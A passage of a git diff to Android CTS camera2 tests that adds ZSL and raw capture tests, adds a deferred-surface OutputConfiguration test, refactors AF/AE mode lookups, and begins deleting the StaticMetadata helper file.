+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -444,13 +444,10 @@
                     continue;
                 }
 
-                int[] availableAfModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
-                int[] availableAeModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
+                int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+                int[] availableAeModes = mStaticInfo.getAeAvailableModesChecked();
 
                 for (int afMode : availableAfModes) {
-
                     if (afMode == CameraCharacteristics.CONTROL_AF_MODE_OFF ||
                             afMode == CameraCharacteristics.CONTROL_AF_MODE_EDOF) {
                         // Only test AF modes that have meaningful trigger behavior
@@ -585,13 +582,10 @@
                     continue;
                 }
 
-                int[] availableAfModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
-                int[] availableAeModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
+                int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+                int[] availableAeModes = mStaticInfo.getAeAvailableModesChecked();
 
                 for (int afMode : availableAfModes) {
-
                     if (afMode == CameraCharacteristics.CONTROL_AF_MODE_OFF ||
                             afMode == CameraCharacteristics.CONTROL_AF_MODE_EDOF) {
                         // Only test AF modes that have meaningful trigger behavior
@@ -689,13 +683,10 @@
                     continue;
                 }
 
-                int[] availableAfModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
-                int[] availableAeModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
+                int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+                int[] availableAeModes = mStaticInfo.getAeAvailableModesChecked();
 
                 for (int afMode : availableAfModes) {
-
                     if (afMode == CameraCharacteristics.CONTROL_AF_MODE_OFF ||
                             afMode == CameraCharacteristics.CONTROL_AF_MODE_EDOF) {
                         // Only test AF modes that have meaningful trigger behavior
@@ -807,13 +798,10 @@
                     continue;
                 }
 
-                int[] availableAfModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
-                int[] availableAeModes = mStaticInfo.getCharacteristics().get(
-                    CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
+                int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+                int[] availableAeModes = mStaticInfo.getAeAvailableModesChecked();
 
                 for (int afMode : availableAfModes) {
-
                     if (afMode == CameraCharacteristics.CONTROL_AF_MODE_OFF ||
                             afMode == CameraCharacteristics.CONTROL_AF_MODE_EDOF) {
                         // Only test AF modes that have meaningful trigger behavior
@@ -991,8 +979,8 @@
     private CaptureRequest.Builder prepareTriggerTestSession(
             SurfaceTexture preview, int aeMode, int afMode) throws Exception {
         Log.i(TAG, String.format("Testing AE mode %s, AF mode %s",
-                        StaticMetadata.AE_MODE_NAMES[aeMode],
-                        StaticMetadata.AF_MODE_NAMES[afMode]));
+                        StaticMetadata.getAeModeName(aeMode),
+                        StaticMetadata.getAfModeName(afMode)));
 
         CaptureRequest.Builder previewRequest = preparePreviewTestSession(preview);
         previewRequest.set(CaptureRequest.CONTROL_AE_MODE, aeMode);
@@ -1046,7 +1034,7 @@
                 // After several frames, AF must no longer be in INACTIVE state
                 assertTrue(String.format("In AF mode %s, AF state not PASSIVE_SCAN" +
                                 ", PASSIVE_FOCUSED, or PASSIVE_UNFOCUSED, is %s",
-                                StaticMetadata.AF_MODE_NAMES[afMode],
+                                StaticMetadata.getAfModeName(afMode),
                                 StaticMetadata.AF_STATE_NAMES[afState]),
                         afState == CaptureResult.CONTROL_AF_STATE_PASSIVE_SCAN ||
                         afState == CaptureResult.CONTROL_AF_STATE_PASSIVE_FOCUSED ||
@@ -1067,7 +1055,7 @@
     private boolean verifyAfSequence(int afMode, int afState, boolean focusComplete) {
         if (focusComplete) {
             assertTrue(String.format("AF Mode %s: Focus lock lost after convergence: AF state: %s",
-                            StaticMetadata.AF_MODE_NAMES[afMode],
+                            StaticMetadata.getAfModeName(afMode),
                             StaticMetadata.AF_STATE_NAMES[afState]),
                     afState == CaptureResult.CONTROL_AF_STATE_FOCUSED_LOCKED ||
                     afState ==CaptureResult.CONTROL_AF_STATE_NOT_FOCUSED_LOCKED);
@@ -1075,14 +1063,14 @@
         }
         if (VERBOSE) {
             Log.v(TAG, String.format("AF mode: %s, AF state: %s",
-                            StaticMetadata.AF_MODE_NAMES[afMode],
+                            StaticMetadata.getAfModeName(afMode),
                             StaticMetadata.AF_STATE_NAMES[afState]));
         }
         switch (afMode) {
             case CaptureResult.CONTROL_AF_MODE_AUTO:
             case CaptureResult.CONTROL_AF_MODE_MACRO:
                 assertTrue(String.format("AF mode %s: Unexpected AF state %s",
-                                StaticMetadata.AF_MODE_NAMES[afMode],
+                                StaticMetadata.getAfModeName(afMode),
                                 StaticMetadata.AF_STATE_NAMES[afState]),
                         afState == CaptureResult.CONTROL_AF_STATE_ACTIVE_SCAN ||
                         afState == CaptureResult.CONTROL_AF_STATE_FOCUSED_LOCKED ||
@@ -1092,7 +1080,7 @@
                 break;
             case CaptureResult.CONTROL_AF_MODE_CONTINUOUS_PICTURE:
                 assertTrue(String.format("AF mode %s: Unexpected AF state %s",
-                                StaticMetadata.AF_MODE_NAMES[afMode],
+                                StaticMetadata.getAfModeName(afMode),
                                 StaticMetadata.AF_STATE_NAMES[afState]),
                         afState == CaptureResult.CONTROL_AF_STATE_PASSIVE_SCAN ||
                         afState == CaptureResult.CONTROL_AF_STATE_FOCUSED_LOCKED ||
@@ -1102,14 +1090,14 @@
                 break;
             case CaptureResult.CONTROL_AF_MODE_CONTINUOUS_VIDEO:
                 assertTrue(String.format("AF mode %s: Unexpected AF state %s",
-                                StaticMetadata.AF_MODE_NAMES[afMode],
+                                StaticMetadata.getAfModeName(afMode),
                                 StaticMetadata.AF_STATE_NAMES[afState]),
                         afState == CaptureResult.CONTROL_AF_STATE_FOCUSED_LOCKED ||
                         afState == CaptureResult.CONTROL_AF_STATE_NOT_FOCUSED_LOCKED);
                 focusComplete = true;
                 break;
             default:
-                fail("Unexpected AF mode: " + StaticMetadata.AF_MODE_NAMES[afMode]);
+                fail("Unexpected AF mode: " + StaticMetadata.getAfModeName(afMode));
         }
         return focusComplete;
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 037074c..e011131 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -103,7 +103,7 @@
     /**
      * Test normal still capture sequence.
      * <p>
-     * Preview and and jpeg output streams are configured. Max still capture
+     * Preview and jpeg output streams are configured. Max still capture
      * size is used for jpeg capture. The sequence of still capture being test
      * is: start preview, auto focus, precapture metering (if AE is not
      * converged), then capture jpeg. The AWB and AE are in auto modes. AF mode
@@ -128,6 +128,38 @@
     }
 
     /**
+     * Test ZSL still capture sequence.
+     * <p>
+     * Preview and jpeg output streams are configured. Max still capture
+     * size is used for jpeg capture. The sequence of still capture being test
+     * is: start preview, auto focus, precapture metering (if AE is not
+     * converged), then capture jpeg. The AWB and AE are in auto modes. AF mode
+     * is CONTINUOUS_PICTURE. Same as testTakePicture, but with enableZSL set.
+     * </p>
+     */
+    public void testTakePictureZsl() throws Exception{
+        for (String id : mCameraIds) {
+            try {
+                Log.i(TAG, "Testing basic ZSL take picture for Camera " + id);
+                openDevice(id);
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+                    continue;
+                }
+                CaptureRequest.Builder stillRequest =
+                        mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+                stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
+                takePictureTestByCamera(/*aeRegions*/null, /*awbRegions*/null, /*afRegions*/null,
+                        /*addAeTriggerCancel*/false, /*allocateBitmap*/false,
+                        /*previewRequest*/null, stillRequest);
+            } finally {
+                closeDevice();
+                closeImageReader();
+            }
+        }
+    }
+
+    /**
      * Test basic Raw capture. Raw buffer avaiablility is checked, but raw buffer data is not.
      */
     public void testBasicRawCapture()  throws Exception {
@@ -143,7 +175,33 @@
                    continue;
                }
 
-               rawCaptureTestByCamera();
+               rawCaptureTestByCamera(/*stillRequest*/null);
+           } finally {
+               closeDevice();
+               closeImageReader();
+           }
+       }
+    }
+
+    /**
+     * Test basic Raw ZSL capture. Raw buffer avaiablility is checked, but raw buffer data is not.
+     */
+    public void testBasicRawZslCapture()  throws Exception {
+       for (int i = 0; i < mCameraIds.length; i++) {
+           try {
+               Log.i(TAG, "Testing raw ZSL capture for Camera " + mCameraIds[i]);
+               openDevice(mCameraIds[i]);
+
+               if (!mStaticInfo.isCapabilitySupported(
+                       CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
+                   Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                           ". Skip the test.");
+                   continue;
+               }
+               CaptureRequest.Builder stillRequest =
+                       mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+               stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
+               rawCaptureTestByCamera(stillRequest);
            } finally {
                closeDevice();
                closeImageReader();
@@ -163,7 +221,7 @@
     public void testFullRawCapture() throws Exception {
         for (int i = 0; i < mCameraIds.length; i++) {
             try {
-                Log.i(TAG, "Testing raw capture for Camera " + mCameraIds[i]);
+                Log.i(TAG, "Testing raw+JPEG capture for Camera " + mCameraIds[i]);
                 openDevice(mCameraIds[i]);
                 if (!mStaticInfo.isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
@@ -172,13 +230,44 @@
                     continue;
                 }
 
-                fullRawCaptureTestByCamera();
+                fullRawCaptureTestByCamera(/*stillRequest*/null);
             } finally {
                 closeDevice();
                 closeImageReader();
             }
         }
     }
+
+    /**
+     * Test the full raw capture ZSL use case.
+     *
+     * This includes:
+     * - Configuring the camera with a preview, jpeg, and raw output stream.
+     * - Running preview until AE/AF can settle.
+     * - Capturing with a request targeting all three output streams.
+     */
+    public void testFullRawZSLCapture() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                Log.i(TAG, "Testing raw+JPEG ZSL capture for Camera " + mCameraIds[i]);
+                openDevice(mCameraIds[i]);
+                if (!mStaticInfo.isCapabilitySupported(
+                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
+                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                            ". Skip the test.");
+                    continue;
+                }
+                CaptureRequest.Builder stillRequest =
+                        mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+                stillRequest.set(CaptureRequest.CONTROL_ENABLE_ZSL, true);
+                fullRawCaptureTestByCamera(stillRequest);
+            } finally {
+                closeDevice();
+                closeImageReader();
+            }
+        }
+    }
+
     /**
      * Test touch for focus.
      * <p>
@@ -376,7 +465,8 @@
                     continue;
                 }
                 takePictureTestByCamera(/*aeRegions*/null, /*awbRegions*/null, /*afRegions*/null,
-                        /*addAeTriggerCancel*/true, /*allocateBitmap*/false);
+                        /*addAeTriggerCancel*/true, /*allocateBitmap*/false,
+                        /*previewRequest*/null, /*stillRequest*/null);
             } finally {
                 closeDevice();
                 closeImageReader();
@@ -402,7 +492,8 @@
                     continue;
                 }
                 takePictureTestByCamera(/*aeRegions*/null, /*awbRegions*/null, /*afRegions*/null,
-                        /*addAeTriggerCancel*/false, /*allocateBitmap*/true);
+                        /*addAeTriggerCancel*/false, /*allocateBitmap*/true,
+                        /*previewRequest*/null, /*stillRequest*/null);
             } finally {
                 closeDevice();
                 closeImageReader();
@@ -469,7 +560,8 @@
             MeteringRectangle[] aeRegions, MeteringRectangle[] awbRegions,
             MeteringRectangle[] afRegions) throws Exception {
         takePictureTestByCamera(aeRegions, awbRegions, afRegions,
-                /*addAeTriggerCancel*/false, /*allocateBitmap*/false);
+                /*addAeTriggerCancel*/false, /*allocateBitmap*/false,
+                /*previewRequest*/null, /*stillRequest*/null);
     }
 
     /**
@@ -488,10 +580,13 @@
      * @param afRegions AF regions for this capture
      * @param addAeTriggerCancel If a AE precapture trigger cancel is sent after the trigger.
      * @param allocateBitmap If a set of bitmaps are allocated during the test for memory test.
+     * @param previewRequest The preview request builder to use, or null to use the default
+     * @param stillRequest The still capture request to use, or null to use the default
      */
     private void takePictureTestByCamera(
             MeteringRectangle[] aeRegions, MeteringRectangle[] awbRegions,
-            MeteringRectangle[] afRegions, boolean addAeTriggerCancel, boolean allocateBitmap)
+            MeteringRectangle[] afRegions, boolean addAeTriggerCancel, boolean allocateBitmap,
+            CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest)
                     throws Exception {
 
         boolean hasFocuser = mStaticInfo.hasFocuser();
@@ -501,10 +596,12 @@
         CaptureResult result;
         SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
         SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
-        CaptureRequest.Builder previewRequest =
-                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
-        CaptureRequest.Builder stillRequest =
-                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+        if (previewRequest == null) {
+            previewRequest = mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        }
+        if (stillRequest == null) {
+            stillRequest = mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+        }
         prepareStillCaptureAndStartPreview(previewRequest, stillRequest, maxPreviewSz,
                 maxStillSz, resultListener, imageListener);
 
@@ -734,14 +831,14 @@
     /**
      * Basic raw capture test for each camera.
      */
-    private void rawCaptureTestByCamera() throws Exception {
+    private void rawCaptureTestByCamera(CaptureRequest.Builder stillRequest) throws Exception {
         Size maxPreviewSz = mOrderedPreviewSizes.get(0);
         Size size = mStaticInfo.getRawDimensChecked();
 
         // Prepare raw capture and start preview.
         CaptureRequest.Builder previewBuilder =
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
-        CaptureRequest.Builder rawBuilder =
+        CaptureRequest.Builder rawBuilder = (stillRequest != null) ? stillRequest :
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
         SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
         SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
@@ -772,7 +869,7 @@
         stopPreview();
     }
 
-    private void fullRawCaptureTestByCamera() throws Exception {
+    private void fullRawCaptureTestByCamera(CaptureRequest.Builder stillRequest) throws Exception {
         Size maxPreviewSz = mOrderedPreviewSizes.get(0);
         Size maxStillSz = mOrderedStillSizes.get(0);
 
@@ -790,7 +887,7 @@
         // Prepare raw capture and start preview.
         CaptureRequest.Builder previewBuilder =
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
-        CaptureRequest.Builder multiBuilder =
+        CaptureRequest.Builder multiBuilder = (stillRequest != null) ? stillRequest :
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
 
         ImageReader rawReader = null;
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 91bd646..34d29e5 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -38,6 +38,8 @@
 import android.util.Log;
 import android.util.Pair;
 import android.util.Range;
+import android.view.SurfaceView;
+import android.view.SurfaceHolder;
 
 import org.mockito.ArgumentCaptor;
 import org.mockito.compat.ArgumentMatcher;
@@ -57,7 +59,7 @@
     private static final int FRAME_TIMEOUT_MS = 1000;
     private static final int NUM_FRAMES_VERIFIED = 30;
     private static final int NUM_TEST_PATTERN_FRAMES_VERIFIED = 60;
-    private static final float FRAME_DURATION_ERROR_MARGIN = 0.005f; // 0.5 percent error margin.
+    private static final float FRAME_DURATION_ERROR_MARGIN = 0.01f; // 1 percent error margin.
     private static final int PREPARE_TIMEOUT_MS = 10000; // 10 s
 
     @Override
@@ -418,6 +420,224 @@
         waitForNumResults(resultListener, SOME_FRAMES);
     }
 
+    /*
+     * Verify creation of deferred surface capture sessions
+     */
+    public void testDeferredSurfaces() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                openDevice(mCameraIds[i]);
+                if (mStaticInfo.isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    continue;
+                }
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testDeferredSurfacesByCamera(mCameraIds[i]);
+            }
+            finally {
+                closeDevice();
+            }
+        }
+    }
+
+    private void testDeferredSurfacesByCamera(String cameraId) throws Exception {
+        Size maxPreviewSize = m1080pBoundedOrderedPreviewSizes.get(0);
+
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+        // Create a SurfaceTexture for a second output
+        SurfaceTexture sharedOutputTexture = new SurfaceTexture(/*random texture ID*/ 5);
+        sharedOutputTexture.setDefaultBufferSize(maxPreviewSize.getWidth(),
+                maxPreviewSize.getHeight());
+        Surface sharedOutputSurface1 = new Surface(sharedOutputTexture);
+
+        class TextureAvailableListener implements SurfaceTexture.OnFrameAvailableListener {
+            @Override
+            public void onFrameAvailable(SurfaceTexture t) {
+                mGotFrame = true;
+            }
+            public boolean gotFrame() { return mGotFrame; }
+
+            private volatile boolean mGotFrame = false;
+        }
+        TextureAvailableListener textureAvailableListener = new TextureAvailableListener();
+
+        sharedOutputTexture.setOnFrameAvailableListener(textureAvailableListener, mHandler);
+
+        updatePreviewSurface(maxPreviewSize);
+
+        // Create deferred outputs for surface view and surface texture
+        OutputConfiguration surfaceViewOutput = new OutputConfiguration(maxPreviewSize,
+                SurfaceHolder.class);
+        OutputConfiguration surfaceTextureOutput = new OutputConfiguration(maxPreviewSize,
+                SurfaceTexture.class);
+
+        List<OutputConfiguration> outputSurfaces = new ArrayList<>();
+        outputSurfaces.add(surfaceViewOutput);
+        outputSurfaces.add(surfaceTextureOutput);
+
+        // Create non-deferred ImageReader output (JPEG for LIMITED-level compatibility)
+        ImageDropperListener imageListener = new ImageDropperListener();
+        createImageReader(mOrderedStillSizes.get(0), ImageFormat.JPEG, /*maxImages*/ 3,
+                imageListener);
+        OutputConfiguration jpegOutput =
+                new OutputConfiguration(OutputConfiguration.SURFACE_GROUP_ID_NONE, mReaderSurface);
+        outputSurfaces.add(jpegOutput);
+
+        // Confirm that other surface types aren't supported for OutputConfiguration
+        Class[] unsupportedClasses =
+                {android.media.ImageReader.class, android.media.MediaCodec.class,
+                 android.renderscript.Allocation.class, android.media.MediaRecorder.class};
+
+        for (Class klass : unsupportedClasses) {
+            try {
+                OutputConfiguration bad = new OutputConfiguration(maxPreviewSize, klass);
+                fail("OutputConfiguration allowed use of unsupported class " + klass);
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+
+        // Confirm that zero surface size isn't supported for OutputConfiguration
+        Size[] sizeZeros = { new Size(0, 0), new Size(1, 0), new Size(0, 1) };
+        for (Size size : sizeZeros) {
+            try {
+                OutputConfiguration bad = new OutputConfiguration(size, SurfaceHolder.class);
+                fail("OutputConfiguration allowed use of zero surfaceSize");
+            } catch (IllegalArgumentException e) {
+                //expected
+            }
+        }
+
+        // Create session
+
+        BlockingSessionCallback sessionListener =
+                new BlockingSessionCallback();
+
+        mSession = configureCameraSessionWithConfig(mCamera, outputSurfaces, sessionListener,
+                mHandler);
+        sessionListener.getStateWaiter().waitForState(BlockingSessionCallback.SESSION_READY,
+                SESSION_CONFIGURE_TIMEOUT_MS);
+
+        // Submit JPEG requests
+
+        CaptureRequest.Builder request = mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        request.addTarget(mReaderSurface);
+
+        final int SOME_FRAMES = 10;
+        for (int i = 0; i < SOME_FRAMES; i++) {
+            mSession.capture(request.build(), resultListener, mHandler);
+        }
+
+        // Wait to get some frames out to ensure we can operate just the one expected surface
+        waitForNumResults(resultListener, SOME_FRAMES);
+        assertTrue("No images received", imageListener.getImageCount() > 0);
+
+        // Ensure we can't use the deferred surfaces yet
+        request.addTarget(sharedOutputSurface1);
+        try {
+            mSession.capture(request.build(), resultListener, mHandler);
+            fail("Should have received IAE for trying to use a deferred target " +
+                    "that's not yet configured");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        // Add deferred surfaces to their configurations
+        surfaceViewOutput.addSurface(mPreviewSurface);
+        surfaceTextureOutput.addSurface(sharedOutputSurface1);
+
+        // Verify bad inputs to addSurface
+        try {
+            surfaceViewOutput.addSurface(null);
+            fail("No error from setting a null deferred surface");
+        } catch (NullPointerException e) {
+            // expected
+        }
+        try {
+            surfaceViewOutput.addSurface(mPreviewSurface);
+            fail("Shouldn't be able to set deferred surface twice");
+        } catch (IllegalStateException e) {
+            // expected
+        }
+
+        // Add first deferred surface to session
+        List<OutputConfiguration> deferredSurfaces = new ArrayList<>();
+        deferredSurfaces.add(surfaceTextureOutput);
+
+        mSession.finalizeOutputConfigurations(deferredSurfaces);
+
+        // Try a second time, this should error
+
+        try {
+            mSession.finalizeOutputConfigurations(deferredSurfaces);
+            fail("Should have received ISE for trying to finish a deferred output twice");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        // Use new deferred surface for a bit
+        imageListener.resetImageCount();
+        for (int i = 0; i < SOME_FRAMES; i++) {
+            mSession.capture(request.build(), resultListener, mHandler);
+        }
+        waitForNumResults(resultListener, SOME_FRAMES);
+        assertTrue("No images received", imageListener.getImageCount() > 0);
+        assertTrue("No texture update received", textureAvailableListener.gotFrame());
+
+        // Ensure we can't use the last deferred surface yet
+        request.addTarget(mPreviewSurface);
+        try {
+            mSession.capture(request.build(), resultListener, mHandler);
+            fail("Should have received IAE for trying to use a deferred target that's" +
+                    " not yet configured");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        // Add final deferred surface
+        deferredSurfaces.clear();
+        deferredSurfaces.add(surfaceViewOutput);
+
+        mSession.finalizeOutputConfigurations(deferredSurfaces);
+
+        // Use final deferred surface for a bit
+        imageListener.resetImageCount();
+        for (int i = 0; i < SOME_FRAMES; i++) {
+            mSession.capture(request.build(), resultListener, mHandler);
+        }
+        waitForNumResults(resultListener, SOME_FRAMES);
+        assertTrue("No images received", imageListener.getImageCount() > 0);
+        // Can't check GL output since we don't have a context to call updateTexImage on, and
+        // the callback only fires once per updateTexImage call.
+        // And there's no way to verify data is going to a SurfaceView
+
+        // Check for invalid output configurations being handed to a session
+        OutputConfiguration badConfig =
+                new OutputConfiguration(maxPreviewSize, SurfaceTexture.class);
+        deferredSurfaces.clear();
+        try {
+            mSession.finalizeOutputConfigurations(deferredSurfaces);
+            fail("No error for empty list passed to finalizeOutputConfigurations");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        deferredSurfaces.add(badConfig);
+        try {
+            mSession.finalizeOutputConfigurations(deferredSurfaces);
+            fail("No error for invalid output config being passed to finalizeOutputConfigurations");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+    }
+
     /**
      * Measure the inter-frame interval based on SENSOR_TIMESTAMP for frameCount frames from the
      * provided capture listener.  If prevTimestamp is positive, it is used for the first interval
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
deleted file mode 100644
index 07e810f..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ /dev/null
@@ -1,2393 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.camera2.cts.helpers;
-
-import android.graphics.Rect;
-import android.graphics.ImageFormat;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraCharacteristics.Key;
-import android.hardware.camera2.CameraMetadata;
-import android.hardware.camera2.CaptureRequest;
-import android.hardware.camera2.CaptureResult;
-import android.hardware.camera2.cts.CameraTestUtils;
-import android.hardware.camera2.params.StreamConfigurationMap;
-import android.util.Range;
-import android.util.Size;
-import android.util.Log;
-import android.util.Rational;
-
-import junit.framework.Assert;
-
-import java.lang.reflect.Array;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-
-/**
- * Helpers to get common static info out of the camera.
- *
- * <p>Avoid boiler plate by putting repetitive get/set patterns in this class.</p>
- *
- * <p>Attempt to be durable against the camera device having bad or missing metadata
- * by providing reasonable defaults and logging warnings when that happens.</p>
- */
-public class StaticMetadata {
-
-    private static final String TAG = "StaticMetadata";
-    private static final int IGNORE_SIZE_CHECK = -1;
-
-    private static final long SENSOR_INFO_EXPOSURE_TIME_RANGE_MIN_AT_MOST = 100000L; // 100us
-    private static final long SENSOR_INFO_EXPOSURE_TIME_RANGE_MAX_AT_LEAST = 100000000; // 100ms
-    private static final int SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST = 100;
-    private static final int SENSOR_INFO_SENSITIVITY_RANGE_MAX_AT_LEAST = 800;
-    private static final int STATISTICS_INFO_MAX_FACE_COUNT_MIN_AT_LEAST = 4;
-    private static final int TONEMAP_MAX_CURVE_POINTS_AT_LEAST = 64;
-    private static final int CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MIN = -2;
-    private static final int CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MAX = 2;
-    private static final Rational CONTROL_AE_COMPENSATION_STEP_DEFAULT = new Rational(1, 2);
-    private static final byte REQUEST_PIPELINE_MAX_DEPTH_MAX = 8;
-    private static final int MAX_REPROCESS_MAX_CAPTURE_STALL = 4;
-
-    // TODO: Consider making this work across any metadata object, not just camera characteristics
-    private final CameraCharacteristics mCharacteristics;
-    private final CheckLevel mLevel;
-    private final CameraErrorCollector mCollector;
-
-    // Index with android.control.aeMode
-    public static final String[] AE_MODE_NAMES = new String[] {
-        "AE_MODE_OFF",
-        "AE_MODE_ON",
-        "AE_MODE_ON_AUTO_FLASH",
-        "AE_MODE_ON_ALWAYS_FLASH",
-        "AE_MODE_ON_AUTO_FLASH_REDEYE"
-    };
-
-    // Index with android.control.afMode
-    public static final String[] AF_MODE_NAMES = new String[] {
-        "AF_MODE_OFF",
-        "AF_MODE_AUTO",
-        "AF_MODE_MACRO",
-        "AF_MODE_CONTINUOUS_VIDEO",
-        "AF_MODE_CONTINUOUS_PICTURE",
-        "AF_MODE_EDOF"
-    };
-
-    // Index with android.control.aeState
-    public static final String[] AE_STATE_NAMES = new String[] {
-        "AE_STATE_INACTIVE",
-        "AE_STATE_SEARCHING",
-        "AE_STATE_CONVERGED",
-        "AE_STATE_LOCKED",
-        "AE_STATE_FLASH_REQUIRED",
-        "AE_STATE_PRECAPTURE"
-    };
-
-    // Index with android.control.afState
-    public static final String[] AF_STATE_NAMES = new String[] {
-        "AF_STATE_INACTIVE",
-        "AF_STATE_PASSIVE_SCAN",
-        "AF_STATE_PASSIVE_FOCUSED",
-        "AF_STATE_ACTIVE_SCAN",
-        "AF_STATE_FOCUSED_LOCKED",
-        "AF_STATE_NOT_FOCUSED_LOCKED",
-        "AF_STATE_PASSIVE_UNFOCUSED"
-    };
-
-    public enum CheckLevel {
-        /** Only log warnings for metadata check failures. Execution continues. */
-        WARN,
-        /**
-         * Use ErrorCollector to collect the metadata check failures, Execution
-         * continues.
-         */
-        COLLECT,
-        /** Assert the metadata check failures. Execution aborts. */
-        ASSERT
-    }
-
-    /**
-     * Construct a new StaticMetadata object.
-     *
-     *<p> Default constructor, only log warnings for the static metadata check failures</p>
-     *
-     * @param characteristics static info for a camera
-     * @throws IllegalArgumentException if characteristics was null
-     */
-    public StaticMetadata(CameraCharacteristics characteristics) {
-        this(characteristics, CheckLevel.WARN, /*collector*/null);
-    }
-
-    /**
-     * Construct a new StaticMetadata object with {@link CameraErrorCollector}.
-     * <p>
-     * When level is not {@link CheckLevel.COLLECT}, the {@link CameraErrorCollector} will be
-     * ignored, otherwise, it will be used to log the check failures.
-     * </p>
-     *
-     * @param characteristics static info for a camera
-     * @param collector The {@link CameraErrorCollector} used by this StaticMetadata
-     * @throws IllegalArgumentException if characteristics or collector was null.
-     */
-    public StaticMetadata(CameraCharacteristics characteristics, CameraErrorCollector collector) {
-        this(characteristics, CheckLevel.COLLECT, collector);
-    }
-
-    /**
-     * Construct a new StaticMetadata object with {@link CheckLevel} and
-     * {@link CameraErrorCollector}.
-     * <p>
-     * When level is not {@link CheckLevel.COLLECT}, the {@link CameraErrorCollector} will be
-     * ignored, otherwise, it will be used to log the check failures.
-     * </p>
-     *
